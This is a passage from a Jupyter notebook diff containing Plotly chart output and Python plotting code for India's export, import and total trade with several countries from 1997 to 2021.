- "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.02, - 0.02, - 0.06, - 0.05, - 0.1, - 0.01, - 0, - 0, - 0, - 0, - 0, - 0, - 0.96, - 0, - 0.02, - 0.06, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MOROCCO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 461.4, - 402, - 420.1, - 315.29, - 266.39, - 199.65, - 255.6, - 362.16, - 456.37, - 489.98, - 499.4, - 948.15, - 861.51, - 839.64, - 1658.45, - 1309.03, - 879.18, - 936.25, - 1077.58, - 792.93, - 779.63, - 1326.69, - 952.54, - 1436.82, - 1626.93 - ] - }, - { - "mode": "lines", - "name": "MOZAMBIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 13.73, - 25.36, - 33.7, - 21.27, - 6.61, - 27.77, - 23.62, - 41.56, - 50.61, - 28.66, - 47.65, - 31.94, - 68.76, - 103.45, - 101.48, - 291.49, - 292.96, - 325.74, - 362.88, - 546.29, - 931.75, - 1097.43, - 835.07, - 631.6, - 1303.97 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "IMPORT" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Import" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - }, - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
Total Trade=%{y}", - "legendgroup": "", - "line": { - "color": "#636efa", - "dash": "solid" - }, - "marker": { - "symbol": "circle" - }, - "mode": "lines", - "name": "", - "orientation": "v", - "showlegend": false, - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "xaxis": "x", - "y": [ - 31.95, - 40.95, - 54.26, - 52.45, - 41.89, - 79.23, - 185.98, - 212.44, - 201.09, - 216.48, - 359.18, - 520.47, - 588.74, - 568.44, - 643.41, - 632.18, - 683.1, - 684.47, - 834.5, - 799.24, - 1143.53, - 1150.89, - 1527.42, - 1335.27, - 814.5 - ], - "yaxis": "y" - }, - { - "mode": "lines", - "name": "AFGHANISTAN", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 31.95, - 40.95, - 54.26, - 52.45, - 41.89, - 79.23, - 185.98, - 212.44, - 201.09, - 216.48, - 359.18, - 520.47, - 588.74, - 568.44, - 643.41, - 632.18, - 683.1, - 684.47, - 834.5, - 799.24, - 1143.53, - 1150.89, - 1527.42, - 1335.27, - 814.5 - ] - }, - { - "mode": "lines", - "name": "NICARAGUA", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 2.55, - 4.08, - 6.32, - 5.73, - 6.3, - 11.58, - 16.12, - 14.96, - 54.55, - 21.3, - 23.54, - 30.91, - 46.67, - 60.07, - 61.88, - 67.7, - 86.39, - 88.96, - 91.48, - 57.47, - 69.11, - 95.86, - 88.2 - ] - }, - { - "mode": "lines", - "name": "MONTSERRAT", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 0, - 0, - 0, - 0, - 0, - 0, - 0.37, - 0.42, - 0.31, - 0.2, - 0.17, - 0.21, - 0.13, - 0.53, - 0, - 0, - 0.07, - 0.34, - 0, - 0, - 0, - 0.11, - 0, - 0, - 0 - ] - }, - { - "mode": "lines", - "name": "MOROCCO", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 489.67, - 430.45, - 446.26, - 355.37, - 321.94, - 326.77, - 343.32, - 474.65, - 583.88, - 654.43, - 707.83, - 1191, - 1111.98, - 1158.21, - 2030.55, - 1735.59, - 1264.79, - 1262.56, - 1419.77, - 1166.84, - 1211.95, - 2006.76, - 1751.99, - 1944.44, - 2233.5 - ] - }, - { - "mode": "lines", - "name": "MOZAMBIQUE", - "type": "scatter", - "x": [ - "97", - "98", - "99", - "2000", - "2001", - "2002", - "2003", - "2004", - "2005", - "2006", - "2007", - "2008", - "2009", - "2010", - "2011", - "2012", - "2013", - "2014", - "2015", - "2016", - "2017", - "2018", - "2019", - "2020", - "2021" - ], - "y": [ - 43.67, - 48.15, - 65.59, - 53.31, - 37.48, - 74.46, - 92.76, - 122.86, - 178.15, - 220.91, - 490.18, - 459.38, - 427.14, - 708.62, - 634.83, - 1292.68, - 1550.22, - 2396.58, - 1604.82, - 1556.26, - 1832.34, - 2170.74, - 3009.38, - 1862.95, - 2803.01 - ] - } - ], - "layout": { - "legend": { - "tracegroupgap": 0 - }, - "template": { - "data": { - "bar": [ - { - "error_x": { - "color": "#2a3f5f" - }, - "error_y": { - "color": "#2a3f5f" - }, - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "bar" - } - ], - "barpolar": [ - { - "marker": { - "line": { - "color": "#E5ECF6", - "width": 0.5 - }, - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "barpolar" - } - ], - "carpet": [ - { - "aaxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "baxis": { - "endlinecolor": "#2a3f5f", - "gridcolor": "white", - "linecolor": "white", - "minorgridcolor": "white", - "startlinecolor": "#2a3f5f" - }, - "type": "carpet" - } - ], - "choropleth": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "choropleth" - } - ], - "contour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "contour" - } - ], - "contourcarpet": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "contourcarpet" - } - ], - "heatmap": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmap" - } - ], - "heatmapgl": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "heatmapgl" - } - ], - "histogram": [ - { - "marker": { - "pattern": { - "fillmode": "overlay", - "size": 10, - "solidity": 0.2 - } - }, - "type": "histogram" - } - ], - "histogram2d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2d" - } - ], - "histogram2dcontour": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "histogram2dcontour" - } - ], - "mesh3d": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "type": "mesh3d" - } - ], - "parcoords": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "parcoords" - } - ], - "pie": [ - { - "automargin": true, - "type": "pie" - } - ], - "scatter": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter" - } - ], - "scatter3d": [ - { - "line": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatter3d" - } - ], - "scattercarpet": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattercarpet" - } - ], - "scattergeo": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergeo" - } - ], - "scattergl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattergl" - } - ], - "scattermapbox": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scattermapbox" - } - ], - "scatterpolar": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolar" - } - ], - "scatterpolargl": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterpolargl" - } - ], - "scatterternary": [ - { - "marker": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "type": "scatterternary" - } - ], - "surface": [ - { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - }, - "colorscale": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "type": "surface" - } - ], - "table": [ - { - "cells": { - "fill": { - "color": "#EBF0F8" - }, - "line": { - "color": "white" - } - }, - "header": { - "fill": { - "color": "#C8D4E3" - }, - "line": { - "color": "white" - } - }, - "type": "table" - } - ] - }, - "layout": { - "annotationdefaults": { - "arrowcolor": "#2a3f5f", - "arrowhead": 0, - "arrowwidth": 1 - }, - "autotypenumbers": "strict", - "coloraxis": { - "colorbar": { - "outlinewidth": 0, - "ticks": "" - } - }, - "colorscale": { - "diverging": [ - [ - 0, - "#8e0152" - ], - [ - 0.1, - "#c51b7d" - ], - [ - 0.2, - "#de77ae" - ], - [ - 0.3, - "#f1b6da" - ], - [ - 0.4, - "#fde0ef" - ], - [ - 0.5, - "#f7f7f7" - ], - [ - 0.6, - "#e6f5d0" - ], - [ - 0.7, - "#b8e186" - ], - [ - 0.8, - "#7fbc41" - ], - [ - 0.9, - "#4d9221" - ], - [ - 1, - "#276419" - ] - ], - "sequential": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ], - "sequentialminus": [ - [ - 0, - "#0d0887" - ], - [ - 0.1111111111111111, - "#46039f" - ], - [ - 0.2222222222222222, - "#7201a8" - ], - [ - 0.3333333333333333, - "#9c179e" - ], - [ - 0.4444444444444444, - "#bd3786" - ], - [ - 0.5555555555555556, - "#d8576b" - ], - [ - 0.6666666666666666, - "#ed7953" - ], - [ - 0.7777777777777778, - "#fb9f3a" - ], - [ - 0.8888888888888888, - "#fdca26" - ], - [ - 1, - "#f0f921" - ] - ] - }, - "colorway": [ - "#636efa", - "#EF553B", - "#00cc96", - "#ab63fa", - "#FFA15A", - "#19d3f3", - "#FF6692", - "#B6E880", - "#FF97FF", - "#FECB52" - ], - "font": { - "color": "#2a3f5f" - }, - "geo": { - "bgcolor": "white", - "lakecolor": "white", - "landcolor": "#E5ECF6", - "showlakes": true, - "showland": true, - "subunitcolor": "white" - }, - "hoverlabel": { - "align": "left" - }, - "hovermode": "closest", - "mapbox": { - "style": "light" - }, - "paper_bgcolor": "white", - "plot_bgcolor": "#E5ECF6", - "polar": { - "angularaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "radialaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "scene": { - "xaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "yaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - }, - "zaxis": { - "backgroundcolor": "#E5ECF6", - "gridcolor": "white", - "gridwidth": 2, - "linecolor": "white", - "showbackground": true, - "ticks": "", - "zerolinecolor": "white" - } - }, - "shapedefaults": { - "line": { - "color": "#2a3f5f" - } - }, - "ternary": { - "aaxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "baxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - }, - "bgcolor": "#E5ECF6", - "caxis": { - "gridcolor": "white", - "linecolor": "white", - "ticks": "" - } - }, - "title": { - "x": 0.05 - }, - "xaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - }, - "yaxis": { - "automargin": true, - "gridcolor": "white", - "linecolor": "white", - "ticks": "", - "title": { - "standoff": 15 - }, - "zerolinecolor": "white", - "zerolinewidth": 2 - } - } - }, - "title": { - "text": "EXPORT AND IMPORT Between India and Other Countries" - }, - "xaxis": { - "anchor": "y", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Year" - } - }, - "yaxis": { - "anchor": "x", - "domain": [ - 0, - 1 - ], - "title": { - "text": "Total Trade" - } - } - } - }, - "text/html": [ - "
" - ] - }, - "metadata": {}, - "output_type": "display_data" - } - ], - "source": [ - "exp=px.line(x=df[df['Country']==country.index[0]]['Year(start)'], y=df[df['Country']==country.index[0]]['Export'], labels={'x': 'Year', 'y': 'Export'}, title='EXPORT')\n", - "for i in range(0,5):\n", - " exp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Export'], mode='lines', name=country.index[i])\n", - "exp.show()\n", - "\n", - "imp=px.line(x=df[df['Country']==country.index[0]]['Year(start)'], y=df[df['Country']==country.index[0]]['Import'], labels={'x': 'Year', 'y': 'Import'}, title='IMPORT')\n", - "for i in range(0,5):\n", - " imp.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Import'], mode='lines', name=country.index[i])\n", - "imp.show()\n", - "\n", - "\n", - "fig=px.line(x=df[df['Country']==country.index[0]]['Year(start)'], y=df[df['Country']==country.index[0]]['Total Trade'], labels={'x': 'Year', 'y': 'Total Trade'}, title='EXPORT AND IMPORT Between India and Other Countries')\n", - "for i in range(0,5):\n", - " fig.add_scatter(x=df[df['Country']==country.index[i]]['Year(start)'], y=df[df['Country']==country.index[i]]['Total Trade'], mode='lines', name=country.index[i])\n", - "fig.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 16, - "id": "d0277cce-31c2-4a58-a724-b3fa7870af85", - "metadata": {}, - "outputs": [ - { - "data": { - "application/vnd.plotly.v1+json": { - "config": { - "plotlyServerURL": "https://plot.ly" - }, - "data": [ - { - "hovertemplate": "Year=%{x}
